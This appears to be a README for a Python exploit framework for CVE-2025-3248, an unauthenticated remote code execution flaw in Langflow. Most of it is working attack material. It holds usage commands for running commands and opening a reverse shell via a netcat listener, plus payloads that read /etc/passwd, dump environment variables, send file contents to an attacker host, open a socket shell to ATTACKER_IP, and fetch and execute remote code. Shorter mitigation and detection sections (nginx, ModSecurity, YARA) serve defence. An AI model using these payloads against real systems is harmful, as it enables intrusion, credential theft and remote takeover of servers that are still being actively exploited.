A comprehensive Python exploitation framework for testing and demonstrating CVE-2025-3248, a critical unauthenticated remote code execution vulnerability in Langflow versions ≤ 1.3.0.
A comprehensive Python exploitation framework for testing and demonstrating CVE-2025-3248, a critical unauthenticated remote code execution vulnerability in Langflow versions ≤ 1.3.0.
| Property | Value |
|---|
| CVE ID | CVE-2025-3248 |
| Product | Langflow |
| Affected Versions | ≤ 1.3.0 |
| Vulnerability Type | Unauthenticated Remote Code Execution (RCE) |
| Attack Vector | Network |
| Authentication Required | None |
| CVSS Score | 9.8 (Critical) |
| EPSS Score | 92.57% |
| CWE | CWE-94 (Improper Control of Generation of Code) |
| Vulnerable Endpoint | /api/v1/validate/code |
The vulnerability exists in the /api/v1/validate/code API endpoint, which accepts arbitrary Python code and validates it using Python's unsafe exec() function without proper input sanitization or sandboxing. The vulnerability exploits Python's behavior where:
Attacker → POST /api/v1/validate/code → Python exec() → RCE
↓
No Auth Required
↓
Arbitrary Python Code
↓
System Command Execution
Python >= 3.7
requests >= 2.25.0
pip install requests
pip install colorama # For Windows color support
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py
python3 cve_2025_3248_test.py -t <target_url> [options]
python3 cve_2025_3248_test.py -t http://target.com
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"
Step 1: Start a netcat listener on your machine
nc -lvnp 4444
Step 2: Run the exploit
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444
Example:
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444
python3 cve_2025_3248_test.py -t http://target.com --timeout 30
positional arguments:
None
optional arguments:
-t, --target TARGET Target URL (e.g., http://target.com) [REQUIRED]
-c, --command COMMAND Command to execute (default: id)
--timeout TIMEOUT Request timeout in seconds (default: 10)
--exploit Enable exploitation mode (reverse shell)
--lhost LHOST Your IP address for reverse shell
--lport LPORT Your port for reverse shell
-h, --help Show this help message
payload = {
"code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
pass
"""
}
payload = {
"code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
pass
"""
}
payload = {
"code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
pass
"""
}
payload = {
"code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
pass
"""
}
payload = {
"code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
pass
"""
}
Upgrade Langflow
pip install langflow>=1.3.0
# or
docker pull langflow:latest
Restrict Network Access
# Nginx reverse proxy - block vulnerable endpoint
location /api/v1/validate/code {
deny all;
}
Implement Authentication
# Add authentication middleware
@app.middleware("http")
async def auth_middleware(request, call_next):
if "/api/v1/validate/code" in request.url.path:
if not verify_auth(request):
return JSONResponse(status_code=401)
return await call_next(request)
ModSecurity Rule:
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"
YARA Signature:
rule CVE_2025_3248_Langflow_RCE {
strings:
$api_path = "/api/v1/validate/code"
$exec = "exec("
$subprocess = "subprocess"
$os_system = "os.system"
condition:
$api_path and any of ($exec, $subprocess, $os_system)
}
# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"
# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes
/api/v1/validate/code/tmpThe vulnerability chain works as follows:
# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
{
"code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}
# Server processes it:
exec(code) # ← Dangerous! No sanitization
# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')
# Result: Arbitrary command execution
Python's behavior with decorators during function definition:
# This code gets executed immediately:
@decorator_expression
def my_function():
pass
# Which means this payload executes the code:
@exec("malicious_code_here")
def vulnerable_function():
pass
| Date | Event |
|---|---|
| 2025-04-06 | Vulnerability discovered and reported to Langflow team |
| 2025-04-17 | Public exploit released (Exploit-DB) |
| 2025-05-14 | FortiguardLabs Outbreak Alert issued |
| 2025-05-21 | Zscaler ThreatLabz analysis published |
| 2025-05-22 | RecordedFuture reports active exploitation |
| 2025-06-16 | TrendMicro reports FLODRIC botnet exploitation |
| 2025-06-17 | OffSec comprehensive analysis published |
| 2025-11-05 | SentinelOne vulnerability database entry |
| 2025-11-20 | Continued exploitation attempts observed |
When performing authorized security testing:
Contributions are welcome! Please follow these guidelines:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)IMPORTANT LEGAL NOTICE:
This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is ILLEGAL and violates laws including:
The creators and contributors assume NO LIABILITY for misuse of this tool.
Last Updated: November 21, 2025
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0 ║
║ Use Responsibly - Authorized Testing Only ║
╚═══════════════════════════════════════════════════════════╝